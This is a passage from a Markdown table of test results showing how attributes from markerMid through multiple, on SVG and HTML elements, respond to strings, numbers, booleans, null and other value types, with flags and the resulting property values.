`markerMid=(integer)`| (changed)| `\"1\"` |\n| `markerMid=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `markerMid=(float)`| (changed)| `\"99.99\"` |\n| `markerMid=(true)`| (initial, warning)| `<null>` |\n| `markerMid=(false)`| (initial, warning)| `<null>` |\n| `markerMid=(string 'true')`| (changed)| `\"true\"` |\n| `markerMid=(string 'false')`| (changed)| `\"false\"` |\n| `markerMid=(string 'on')`| (changed)| `\"on\"` |\n| `markerMid=(string 'off')`| (changed)| `\"off\"` |\n| `markerMid=(symbol)`| (initial, warning)| `<null>` |\n| `markerMid=(function)`| (initial, warning)| `<null>` |\n| `markerMid=(null)`| (initial)| `<null>` |\n| `markerMid=(undefined)`| (initial)| `<null>` |\n\n## `markerStart` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerStart=(string)`| (changed)| `\"a string\"` |\n| `markerStart=(empty string)`| (changed)| `<empty string>` |\n| `markerStart=(array with string)`| (changed)| `\"string\"` |\n| `markerStart=(empty array)`| (changed)| `<empty string>` |\n| `markerStart=(object)`| (changed)| `\"result of toString()\"` |\n| `markerStart=(numeric string)`| (changed)| `\"42\"` |\n| `markerStart=(-1)`| (changed)| `\"-1\"` |\n| `markerStart=(0)`| (changed)| `\"0\"` |\n| `markerStart=(integer)`| (changed)| `\"1\"` |\n| `markerStart=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `markerStart=(float)`| (changed)| `\"99.99\"` |\n| `markerStart=(true)`| (initial, warning)| `<null>` |\n| `markerStart=(false)`| (initial, warning)| `<null>` |\n| `markerStart=(string 'true')`| (changed)| `\"true\"` |\n| `markerStart=(string 'false')`| (changed)| `\"false\"` |\n| `markerStart=(string 'on')`| (changed)| `\"on\"` |\n| `markerStart=(string 'off')`| (changed)| `\"off\"` |\n| `markerStart=(symbol)`| (initial, warning)| `<null>` |\n| `markerStart=(function)`| (initial, warning)| `<null>` |\n| `markerStart=(null)`| (initial)| `<null>` |\n| `markerStart=(undefined)`| (initial)| `<null>` |\n\n## `markerUnits` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerUnits=(string)`| (initial)| `<number: 2>` |\n| `markerUnits=(empty string)`| (initial)| `<number: 2>` |\n| `markerUnits=(array with string)`| (initial)| `<number: 2>` |\n| `markerUnits=(empty array)`| (initial)| `<number: 2>` |\n| `markerUnits=(object)`| (initial)| `<number: 2>` |\n| `markerUnits=(numeric string)`| (initial)| `<number: 2>` |\n| `markerUnits=(-1)`| (initial)| `<number: 2>` |\n| `markerUnits=(0)`| (initial)| `<number: 2>` |\n| `markerUnits=(integer)`| (initial)| `<number: 2>` |\n| `markerUnits=(NaN)`| (initial, warning)| `<number: 2>` |\n| `markerUnits=(float)`| (initial)| `<number: 2>` |\n| `markerUnits=(true)`| (initial, warning)| `<number: 2>` |\n| `markerUnits=(false)`| (initial, warning)| `<number: 2>` |\n| `markerUnits=(string 'true')`| (initial)| `<number: 2>` |\n| `markerUnits=(string 'false')`| (initial)| `<number: 2>` |\n| `markerUnits=(string 'on')`| (initial)| `<number: 2>` |\n| `markerUnits=(string 'off')`| (initial)| `<number: 2>` |\n| `markerUnits=(symbol)`| (initial, warning)| `<number: 2>` |\n| `markerUnits=(function)`| (initial, warning)| `<number: 2>` |\n| `markerUnits=(null)`| (initial)| `<number: 2>` |\n| `markerUnits=(undefined)`| (initial)| `<number: 2>` |\n\n## `markerWidth` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerWidth=(string)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(empty string)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(array with string)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(empty array)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(object)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `markerWidth=(-1)`| (changed)| `<SVGLength: -1>` |\n| `markerWidth=(0)`| (changed)| `<SVGLength: 0>` |\n| `markerWidth=(integer)`| (changed)| `<SVGLength: 1>` |\n| `markerWidth=(NaN)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerWidth=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `markerWidth=(true)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerWidth=(false)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerWidth=(string 'true')`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(string 'false')`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(string 'on')`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(string 'off')`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(symbol)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerWidth=(function)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerWidth=(null)`| (initial)| `<SVGLength: 3>` |\n| `markerWidth=(undefined)`| (initial)| `<SVGLength: 3>` |\n\n## `mask` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `mask=(string)`| (changed)| `\"a string\"` |\n| `mask=(empty string)`| (changed)| `<empty string>` |\n| `mask=(array with string)`| (changed)| `\"string\"` |\n| `mask=(empty array)`| (changed)| `<empty string>` |\n| `mask=(object)`| (changed)| `\"result of toString()\"` |\n| `mask=(numeric string)`| (changed)| `\"42\"` |\n| `mask=(-1)`| (changed)| `\"-1\"` |\n| `mask=(0)`| (changed)| `\"0\"` |\n| `mask=(integer)`| (changed)| `\"1\"` |\n| `mask=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `mask=(float)`| (changed)| `\"99.99\"` |\n| `mask=(true)`| (initial, warning)| `<null>` |\n| `mask=(false)`| (initial, warning)| `<null>` |\n| `mask=(string 'true')`| (changed)| `\"true\"` |\n| `mask=(string 'false')`| (changed)| `\"false\"` |\n| `mask=(string 'on')`| (changed)| `\"on\"` |\n| `mask=(string 'off')`| (changed)| `\"off\"` |\n| `mask=(symbol)`| (initial, warning)| `<null>` |\n| `mask=(function)`| (initial, warning)| `<null>` |\n| `mask=(null)`| (initial)| `<null>` |\n| `mask=(undefined)`| (initial)| `<null>` |\n\n## `maskContentUnits` (on `<mask>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `maskContentUnits=(string)`| (changed)| `<number: 2>` |\n| `maskContentUnits=(empty string)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(array with string)`| (changed)| `<number: 2>` |\n| `maskContentUnits=(empty array)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(object)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(numeric string)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(-1)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(0)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(integer)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(NaN)`| (initial, warning)| `<number: 1>` |\n| `maskContentUnits=(float)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(true)`| (initial, warning)| `<number: 1>` |\n| `maskContentUnits=(false)`| (initial, warning)| `<number: 1>` |\n| `maskContentUnits=(string 'true')`| (initial)| `<number: 1>` |\n| `maskContentUnits=(string 'false')`| (initial)| `<number: 1>` |\n| `maskContentUnits=(string 'on')`| (initial)| `<number: 1>` |\n| `maskContentUnits=(string 'off')`| (initial)| `<number: 1>` |\n| `maskContentUnits=(symbol)`| (initial, warning)| `<number: 1>` |\n| `maskContentUnits=(function)`| (initial, warning)| `<number: 1>` |\n| `maskContentUnits=(null)`| (initial)| `<number: 1>` |\n| `maskContentUnits=(undefined)`| (initial)| `<number: 1>` |\n\n## `maskUnits` (on `<mask>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `maskUnits=(string)`| (changed)| `<number: 1>` |\n| `maskUnits=(empty string)`| (initial)| `<number: 2>` |\n| `maskUnits=(array with string)`| (changed)| `<number: 1>` |\n| `maskUnits=(empty array)`| (initial)| `<number: 2>` |\n| `maskUnits=(object)`| (initial)| `<number: 2>` |\n| `maskUnits=(numeric string)`| (initial)| `<number: 2>` |\n| `maskUnits=(-1)`| (initial)| `<number: 2>` |\n| `maskUnits=(0)`| (initial)| `<number: 2>` |\n| `maskUnits=(integer)`| (initial)| `<number: 2>` |\n| `maskUnits=(NaN)`| (initial, warning)| `<number: 2>` |\n| `maskUnits=(float)`| (initial)| `<number: 2>` |\n| `maskUnits=(true)`| (initial, warning)| `<number: 2>` |\n| `maskUnits=(false)`| (initial, warning)| `<number: 2>` |\n| `maskUnits=(string 'true')`| (initial)| `<number: 2>` |\n| `maskUnits=(string 'false')`| (initial)| `<number: 2>` |\n| `maskUnits=(string 'on')`| (initial)| `<number: 2>` |\n| `maskUnits=(string 'off')`| (initial)| `<number: 2>` |\n| `maskUnits=(symbol)`| (initial, warning)| `<number: 2>` |\n| `maskUnits=(function)`| (initial, warning)| `<number: 2>` |\n| `maskUnits=(null)`| (initial)| `<number: 2>` |\n| `maskUnits=(undefined)`| (initial)| `<number: 2>` |\n\n## `mathematical` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `mathematical=(string)`| (changed)| `\"a string\"` |\n| `mathematical=(empty string)`| (changed)| `<empty string>` |\n| `mathematical=(array with string)`| (changed)| `\"string\"` |\n| `mathematical=(empty array)`| (changed)| `<empty string>` |\n| `mathematical=(object)`| (changed)| `\"result of toString()\"` |\n| `mathematical=(numeric string)`| (changed)| `\"42\"` |\n| `mathematical=(-1)`| (changed)| `\"-1\"` |\n| `mathematical=(0)`| (changed)| `\"0\"` |\n| `mathematical=(integer)`| (changed)| `\"1\"` |\n| `mathematical=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `mathematical=(float)`| (changed)| `\"99.99\"` |\n| `mathematical=(true)`| (initial, warning)| `<null>` |\n| `mathematical=(false)`| (initial, warning)| `<null>` |\n| `mathematical=(string 'true')`| (changed)| `\"true\"` |\n| `mathematical=(string 'false')`| (changed)| `\"false\"` |\n| `mathematical=(string 'on')`| (changed)| `\"on\"` |\n| `mathematical=(string 'off')`| (changed)| `\"off\"` |\n| `mathematical=(symbol)`| (initial, warning)| `<null>` |\n| `mathematical=(function)`| (initial, warning)| `<null>` |\n| `mathematical=(null)`| (initial)| `<null>` |\n| `mathematical=(undefined)`| (initial)| `<null>` |\n\n## `max` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `max=(string)`| (changed)| `\"a string\"` |\n| `max=(empty string)`| (initial)| `<empty string>` |\n| `max=(array with string)`| (changed)| `\"string\"` |\n| `max=(empty array)`| (initial)| `<empty string>` |\n| `max=(object)`| (changed)| `\"result of toString()\"` |\n| `max=(numeric string)`| (changed)| `\"42\"` |\n| `max=(-1)`| (changed)| `\"-1\"` |\n| `max=(0)`| (changed)| `\"0\"` |\n| `max=(integer)`| (changed)| `\"1\"` |\n| `max=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `max=(float)`| (changed)| `\"99.99\"` |\n| `max=(true)`| (initial, warning)| `<empty string>` |\n| `max=(false)`| (initial, warning)| `<empty string>` |\n| `max=(string 'true')`| (changed)| `\"true\"` |\n| `max=(string 'false')`| (changed)| `\"false\"` |\n| `max=(string 'on')`| (changed)| `\"on\"` |\n| `max=(string 'off')`| (changed)| `\"off\"` |\n| `max=(symbol)`| (initial, warning)| `<empty string>` |\n| `max=(function)`| (initial, warning)| `<empty string>` |\n| `max=(null)`| (initial)| `<empty string>` |\n| `max=(undefined)`| (initial)| `<empty string>` |\n\n## `max` (on `<meter>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `max=(string)`| (initial)| `<number: 1>` |\n| `max=(empty string)`| (initial)| `<number: 1>` |\n| `max=(array with string)`| (initial)| `<number: 1>` |\n| `max=(empty array)`| (initial)| `<number: 1>` |\n| `max=(object)`| (initial)| `<number: 1>` |\n| `max=(numeric string)`| (changed)| `<number: 42>` |\n| `max=(-1)`| (changed)| `<number: 0>` |\n| `max=(0)`| (changed)| `<number: 0>` |\n| `max=(integer)`| (initial)| `<number: 1>` |\n| `max=(NaN)`| (initial, warning)| `<number: 1>` |\n| `max=(float)`| (changed)| `<number: 99.99>` |\n| `max=(true)`| (initial, warning)| `<number: 1>` |\n| `max=(false)`| (initial, warning)| `<number: 1>` |\n| `max=(string 'true')`| (initial)| `<number: 1>` |\n| `max=(string 'false')`| (initial)| `<number: 1>` |\n| `max=(string 'on')`| (initial)| `<number: 1>` |\n| `max=(string 'off')`| (initial)| `<number: 1>` |\n| `max=(symbol)`| (initial, warning)| `<number: 1>` |\n| `max=(function)`| (initial, warning)| `<number: 1>` |\n| `max=(null)`| (initial)| `<number: 1>` |\n| `max=(undefined)`| (initial)| `<number: 1>` |\n\n## `max` (on `<progress>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `max=(string)`| (initial)| `<number: 1>` |\n| `max=(empty string)`| (initial)| `<number: 1>` |\n| `max=(array with string)`| (initial)| `<number: 1>` |\n| `max=(empty array)`| (initial)| `<number: 1>` |\n| `max=(object)`| (initial)| `<number: 1>` |\n| `max=(numeric string)`| (changed)| `<number: 42>` |\n| `max=(-1)`| (initial)| `<number: 1>` |\n| `max=(0)`| (initial)| `<number: 1>` |\n| `max=(integer)`| (initial)| `<number: 1>` |\n| `max=(NaN)`| (initial, warning)| `<number: 1>` |\n| `max=(float)`| (changed)| `<number: 99.99>` |\n| `max=(true)`| (initial, warning)| `<number: 1>` |\n| `max=(false)`| (initial, warning)| `<number: 1>` |\n| `max=(string 'true')`| (initial)| `<number: 1>` |\n| `max=(string 'false')`| (initial)| `<number: 1>` |\n| `max=(string 'on')`| (initial)| `<number: 1>` |\n| `max=(string 'off')`| (initial)| `<number: 1>` |\n| `max=(symbol)`| (initial, warning)| `<number: 1>` |\n| `max=(function)`| (initial, warning)| `<number: 1>` |\n| `max=(null)`| (initial)| `<number: 1>` |\n| `max=(undefined)`| (initial)| `<number: 1>` |\n\n## `max` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `max=(string)`| (changed)| `\"a string\"` |\n| `max=(empty string)`| (changed)| `<empty string>` |\n| `max=(array with string)`| (changed)| `\"string\"` |\n| `max=(empty array)`| (changed)| `<empty string>` |\n| `max=(object)`| (changed)| `\"result of toString()\"` |\n| `max=(numeric string)`| (changed)| `\"42\"` |\n| `max=(-1)`| (changed)| `\"-1\"` |\n| `max=(0)`| (changed)| `\"0\"` |\n| `max=(integer)`| (changed)| `\"1\"` |\n| `max=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `max=(float)`| (changed)| `\"99.99\"` |\n| `max=(true)`| (initial, warning)| `<null>` |\n| `max=(false)`| (initial, warning)| `<null>` |\n| `max=(string 'true')`| (changed)| `\"true\"` |\n| `max=(string 'false')`| (changed)| `\"false\"` |\n| `max=(string 'on')`| (changed)| `\"on\"` |\n| `max=(string 'off')`| (changed)| `\"off\"` |\n| `max=(symbol)`| (initial, warning)| `<null>` |\n| `max=(function)`| (initial, warning)| `<null>` |\n| `max=(null)`| (initial)| `<null>` |\n| `max=(undefined)`| (initial)| `<null>` |\n\n## `maxLength` (on `<textarea>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `maxLength=(string)`| (initial)| `<number: -1>` |\n| `maxLength=(empty string)`| (initial)| `<number: -1>` |\n| `maxLength=(array with string)`| (initial)| `<number: -1>` |\n| `maxLength=(empty array)`| (initial)| `<number: -1>` |\n| `maxLength=(object)`| (initial)| `<number: -1>` |\n| `maxLength=(numeric string)`| (changed)| `<number: 42>` |\n| `maxLength=(-1)`| (initial)| `<number: -1>` |\n| `maxLength=(0)`| (changed)| `<number: 0>` |\n| `maxLength=(integer)`| (changed)| `<number: 1>` |\n| `maxLength=(NaN)`| (initial, warning)| `<number: -1>` |\n| `maxLength=(float)`| (changed)| `<number: 99>` |\n| `maxLength=(true)`| (initial, warning)| `<number: -1>` |\n| `maxLength=(false)`| (initial, warning)| `<number: -1>` |\n| `maxLength=(string 'true')`| (initial)| `<number: -1>` |\n| `maxLength=(string 'false')`| (initial)| `<number: -1>` |\n| `maxLength=(string 'on')`| (initial)| `<number: -1>` |\n| `maxLength=(string 'off')`| (initial)| `<number: -1>` |\n| `maxLength=(symbol)`| (initial, warning)| `<number: -1>` |\n| `maxLength=(function)`| (initial, warning)| `<number: -1>` |\n| `maxLength=(null)`| (initial)| `<number: -1>` |\n| `maxLength=(undefined)`| (initial)| `<number: -1>` |\n\n## `media` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `media=(string)`| (changed)| `\"a string\"` |\n| `media=(empty string)`| (initial)| `<empty string>` |\n| `media=(array with string)`| (changed)| `\"string\"` |\n| `media=(empty array)`| (initial)| `<empty string>` |\n| `media=(object)`| (changed)| `\"result of toString()\"` |\n| `media=(numeric string)`| (changed)| `\"42\"` |\n| `media=(-1)`| (changed)| `\"-1\"` |\n| `media=(0)`| (changed)| `\"0\"` |\n| `media=(integer)`| (changed)| `\"1\"` |\n| `media=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `media=(float)`| (changed)| `\"99.99\"` |\n| `media=(true)`| (initial, warning)| `<empty string>` |\n| `media=(false)`| (initial, warning)| `<empty string>` |\n| `media=(string 'true')`| (changed)| `\"true\"` |\n| `media=(string 'false')`| (changed)| `\"false\"` |\n| `media=(string 'on')`| (changed)| `\"on\"` |\n| `media=(string 'off')`| (changed)| `\"off\"` |\n| `media=(symbol)`| (initial, warning)| `<empty string>` |\n| `media=(function)`| (initial, warning)| `<empty string>` |\n| `media=(null)`| (initial)| `<empty string>` |\n| `media=(undefined)`| (initial)| `<empty string>` |\n\n## `media` (on `<style>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `media=(string)`| (changed)| `\"a string\"` |\n| `media=(empty string)`| (changed)| `<empty string>` |\n| `media=(array with string)`| (changed)| `\"string\"` |\n| `media=(empty array)`| (changed)| `<empty string>` |\n| `media=(object)`| (changed)| `\"result of toString()\"` |\n| `media=(numeric string)`| (changed)| `\"42\"` |\n| `media=(-1)`| (changed)| `\"-1\"` |\n| `media=(0)`| (changed)| `\"0\"` |\n| `media=(integer)`| (changed)| `\"1\"` |\n| `media=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `media=(float)`| (changed)| `\"99.99\"` |\n| `media=(true)`| (initial, warning)| `\"all\"` |\n| `media=(false)`| (initial, warning)| `\"all\"` |\n| `media=(string 'true')`| (changed)| `\"true\"` |\n| `media=(string 'false')`| (changed)| `\"false\"` |\n| `media=(string 'on')`| (changed)| `\"on\"` |\n| `media=(string 'off')`| (changed)| `\"off\"` |\n| `media=(symbol)`| (initial, warning)| `\"all\"` |\n| `media=(function)`| (initial, warning)| `\"all\"` |\n| `media=(null)`| (initial)| `\"all\"` |\n| `media=(undefined)`| (initial)| `\"all\"` |\n\n## `mediaGroup` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `mediaGroup=(string)`| (changed)| `\"a string\"` |\n| `mediaGroup=(empty string)`| (changed)| `<empty string>` |\n| `mediaGroup=(array with string)`| (changed)| `\"string\"` |\n| `mediaGroup=(empty array)`| (changed)| `<empty string>` |\n| `mediaGroup=(object)`| (changed)| `\"result of toString()\"` |\n| `mediaGroup=(numeric string)`| (changed)| `\"42\"` |\n| `mediaGroup=(-1)`| (changed)| `\"-1\"` |\n| `mediaGroup=(0)`| (changed)| `\"0\"` |\n| `mediaGroup=(integer)`| (changed)| `\"1\"` |\n| `mediaGroup=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `mediaGroup=(float)`| (changed)| `\"99.99\"` |\n| `mediaGroup=(true)`| (initial, warning)| `<null>` |\n| `mediaGroup=(false)`| (initial, warning)| `<null>` |\n| `mediaGroup=(string 'true')`| (changed)| `\"true\"` |\n| `mediaGroup=(string 'false')`| (changed)| `\"false\"` |\n| `mediaGroup=(string 'on')`| (changed)| `\"on\"` |\n| `mediaGroup=(string 'off')`| (changed)| `\"off\"` |\n| `mediaGroup=(symbol)`| (initial, warning)| `<null>` |\n| `mediaGroup=(function)`| (initial, warning)| `<null>` |\n| `mediaGroup=(null)`| (initial)| `<null>` |\n| `mediaGroup=(undefined)`| (initial)| `<null>` |\n\n## `method` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `method=(string)`| (changed)| `\"post\"` |\n| `method=(empty string)`| (initial)| `\"get\"` |\n| `method=(array with string)`| (changed)| `\"post\"` |\n| `method=(empty array)`| (initial)| `\"get\"` |\n| `method=(object)`| (initial)| `\"get\"` |\n| `method=(numeric string)`| (initial)| `\"get\"` |\n| `method=(-1)`| (initial)| `\"get\"` |\n| `method=(0)`| (initial)| `\"get\"` |\n| `method=(integer)`| (initial)| `\"get\"` |\n| `method=(NaN)`| (initial, warning)| `\"get\"` |\n| `method=(float)`| (initial)| `\"get\"` |\n| `method=(true)`| (initial, warning)| `\"get\"` |\n| `method=(false)`| (initial, warning)| `\"get\"` |\n| `method=(string 'true')`| (initial)| `\"get\"` |\n| `method=(string 'false')`| (initial)| `\"get\"` |\n| `method=(string 'on')`| (initial)| `\"get\"` |\n| `method=(string 'off')`| (initial)| `\"get\"` |\n| `method=(symbol)`| (initial, warning)| `\"get\"` |\n| `method=(function)`| (initial, warning)| `\"get\"` |\n| `method=(null)`| (initial)| `\"get\"` |\n| `method=(undefined)`| (initial)| `\"get\"` |\n\n## `method` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `method=(string)`| (changed)| `<number: 2>` |\n| `method=(empty string)`| (initial)| `<number: 1>` |\n| `method=(array with string)`| (changed)| `<number: 2>` |\n| `method=(empty array)`| (initial)| `<number: 1>` |\n| `method=(object)`| (initial)| `<number: 1>` |\n| `method=(numeric string)`| (initial)| `<number: 1>` |\n| `method=(-1)`| (initial)| `<number: 1>` |\n| `method=(0)`| (initial)| `<number: 1>` |\n| `method=(integer)`| (initial)| `<number: 1>` |\n| `method=(NaN)`| (initial, warning)| `<number: 1>` |\n| `method=(float)`| (initial)| `<number: 1>` |\n| `method=(true)`| (initial, warning)| `<number: 1>` |\n| `method=(false)`| (initial, warning)| `<number: 1>` |\n| `method=(string 'true')`| (initial)| `<number: 1>` |\n| `method=(string 'false')`| (initial)| `<number: 1>` |\n| `method=(string 'on')`| (initial)| `<number: 1>` |\n| `method=(string 'off')`| (initial)| `<number: 1>` |\n| `method=(symbol)`| (initial, warning)| `<number: 1>` |\n| `method=(function)`| (initial, warning)| `<number: 1>` |\n| `method=(null)`| (initial)| `<number: 1>` |\n| `method=(undefined)`| (initial)| `<number: 1>` |\n\n## `min` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `min=(string)`| (changed)| `\"a string\"` |\n| `min=(empty string)`| (initial)| `<empty string>` |\n| `min=(array with string)`| (changed)| `\"string\"` |\n| `min=(empty array)`| (initial)| `<empty string>` |\n| `min=(object)`| (changed)| `\"result of toString()\"` |\n| `min=(numeric string)`| (changed)| `\"42\"` |\n| `min=(-1)`| (changed)| `\"-1\"` |\n| `min=(0)`| (changed)| `\"0\"` |\n| `min=(integer)`| (changed)| `\"1\"` |\n| `min=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `min=(float)`| (changed)| `\"99.99\"` |\n| `min=(true)`| (initial, warning)| `<empty string>` |\n| `min=(false)`| (initial, warning)| `<empty string>` |\n| `min=(string 'true')`| (changed)| `\"true\"` |\n| `min=(string 'false')`| (changed)| `\"false\"` |\n| `min=(string 'on')`| (changed)| `\"on\"` |\n| `min=(string 'off')`| (changed)| `\"off\"` |\n| `min=(symbol)`| (initial, warning)| `<empty string>` |\n| `min=(function)`| (initial, warning)| `<empty string>` |\n| `min=(null)`| (initial)| `<empty string>` |\n| `min=(undefined)`| (initial)| `<empty string>` |\n\n## `min` (on `<meter>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `min=(string)`| (initial)| `<number: 0>` |\n| `min=(empty string)`| (initial)| `<number: 0>` |\n| `min=(array with string)`| (initial)| `<number: 0>` |\n| `min=(empty array)`| (initial)| `<number: 0>` |\n| `min=(object)`| (initial)| `<number: 0>` |\n| `min=(numeric string)`| (changed)| `<number: 42>` |\n| `min=(-1)`| (changed)| `<number: -1>` |\n| `min=(0)`| (initial)| `<number: 0>` |\n| `min=(integer)`| (changed)| `<number: 1>` |\n| `min=(NaN)`| (initial, warning)| `<number: 0>` |\n| `min=(float)`| (changed)| `<number: 99.99>` |\n| `min=(true)`| (initial, warning)| `<number: 0>` |\n| `min=(false)`| (initial, warning)| `<number: 0>` |\n| `min=(string 'true')`| (initial)| `<number: 0>` |\n| `min=(string 'false')`| (initial)| `<number: 0>` |\n| `min=(string 'on')`| (initial)| `<number: 0>` |\n| `min=(string 'off')`| (initial)| `<number: 0>` |\n| `min=(symbol)`| (initial, warning)| `<number: 0>` |\n| `min=(function)`| (initial, warning)| `<number: 0>` |\n| `min=(null)`| (initial)| `<number: 0>` |\n| `min=(undefined)`| (initial)| `<number: 0>` |\n\n## `min` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `min=(string)`| (changed)| `\"a string\"` |\n| `min=(empty string)`| (changed)| `<empty string>` |\n| `min=(array with string)`| (changed)| `\"string\"` |\n| `min=(empty array)`| (changed)| `<empty string>` |\n| `min=(object)`| (changed)| `\"result of toString()\"` |\n| `min=(numeric string)`| (changed)| `\"42\"` |\n| `min=(-1)`| (changed)| `\"-1\"` |\n| `min=(0)`| (changed)| `\"0\"` |\n| `min=(integer)`| (changed)| `\"1\"` |\n| `min=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `min=(float)`| (changed)| `\"99.99\"` |\n| `min=(true)`| (initial, warning)| `<null>` |\n| `min=(false)`| (initial, warning)| `<null>` |\n| `min=(string 'true')`| (changed)| `\"true\"` |\n| `min=(string 'false')`| (changed)| `\"false\"` |\n| `min=(string 'on')`| (changed)| `\"on\"` |\n| `min=(string 'off')`| (changed)| `\"off\"` |\n| `min=(symbol)`| (initial, warning)| `<null>` |\n| `min=(function)`| (initial, warning)| `<null>` |\n| `min=(null)`| (initial)| `<null>` |\n| `min=(undefined)`| (initial)| `<null>` |\n\n## `minLength` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `minLength=(string)`| (initial)| `<number: -1>` |\n| `minLength=(empty string)`| (initial)| `<number: -1>` |\n| `minLength=(array with string)`| (initial)| `<number: -1>` |\n| `minLength=(empty array)`| (initial)| `<number: -1>` |\n| `minLength=(object)`| (initial)| `<number: -1>` |\n| `minLength=(numeric string)`| (changed)| `<number: 42>` |\n| `minLength=(-1)`| (initial)| `<number: -1>` |\n| `minLength=(0)`| (changed)| `<number: 0>` |\n| `minLength=(integer)`| (changed)| `<number: 1>` |\n| `minLength=(NaN)`| (initial, warning)| `<number: -1>` |\n| `minLength=(float)`| (changed)| `<number: 99>` |\n| `minLength=(true)`| (initial, warning)| `<number: -1>` |\n| `minLength=(false)`| (initial, warning)| `<number: -1>` |\n| `minLength=(string 'true')`| (initial)| `<number: -1>` |\n| `minLength=(string 'false')`| (initial)| `<number: -1>` |\n| `minLength=(string 'on')`| (initial)| `<number: -1>` |\n| `minLength=(string 'off')`| (initial)| `<number: -1>` |\n| `minLength=(symbol)`| (initial, warning)| `<number: -1>` |\n| `minLength=(function)`| (initial, warning)| `<number: -1>` |\n| `minLength=(null)`| (initial)| `<number: -1>` |\n| `minLength=(undefined)`| (initial)| `<number: -1>` |\n\n## `mode` (on `<feBlend>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `mode=(string)`| (changed)| `<number: 2>` |\n| `mode=(empty string)`| (initial)| `<number: 1>` |\n| `mode=(array with string)`| (changed)| `<number: 2>` |\n| `mode=(empty array)`| (initial)| `<number: 1>` |\n| `mode=(object)`| (initial)| `<number: 1>` |\n| `mode=(numeric string)`| (initial)| `<number: 1>` |\n| `mode=(-1)`| (initial)| `<number: 1>` |\n| `mode=(0)`| (initial)| `<number: 1>` |\n| `mode=(integer)`| (initial)| `<number: 1>` |\n| `mode=(NaN)`| (initial, warning)| `<number: 1>` |\n| `mode=(float)`| (initial)| `<number: 1>` |\n| `mode=(true)`| (initial, warning)| `<number: 1>` |\n| `mode=(false)`| (initial, warning)| `<number: 1>` |\n| `mode=(string 'true')`| (initial)| `<number: 1>` |\n| `mode=(string 'false')`| (initial)| `<number: 1>` |\n| `mode=(string 'on')`| (initial)| `<number: 1>` |\n| `mode=(string 'off')`| (initial)| `<number: 1>` |\n| `mode=(symbol)`| (initial, warning)| `<number: 1>` |\n| `mode=(function)`| (initial, warning)| `<number: 1>` |\n| `mode=(null)`| (initial)| `<number: 1>` |\n| `mode=(undefined)`| (initial)| `<number: 1>` |\n\n## `multiple` (on `<select>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `multiple=(string)`| (changed)| `<boolean: true>` |\n| `multiple=(empty string)`| (initial)| `<boolean: false>` |\n| `multiple=(array with string)`| (changed)| `<boolean: true>` |\n| `multiple=(empty array)`| (changed)| `<boolean: true>` |\n| `multiple=(object)`| (changed)| `<boolean: true>` |\n| `multiple=(numeric string)`| (changed)| `<boolean: true>` |\n| `multiple=(-1)`| (changed)| `<boolean: true>` |\n| `multiple=(0)`| (initial)| `<boolean: false>` |\n| 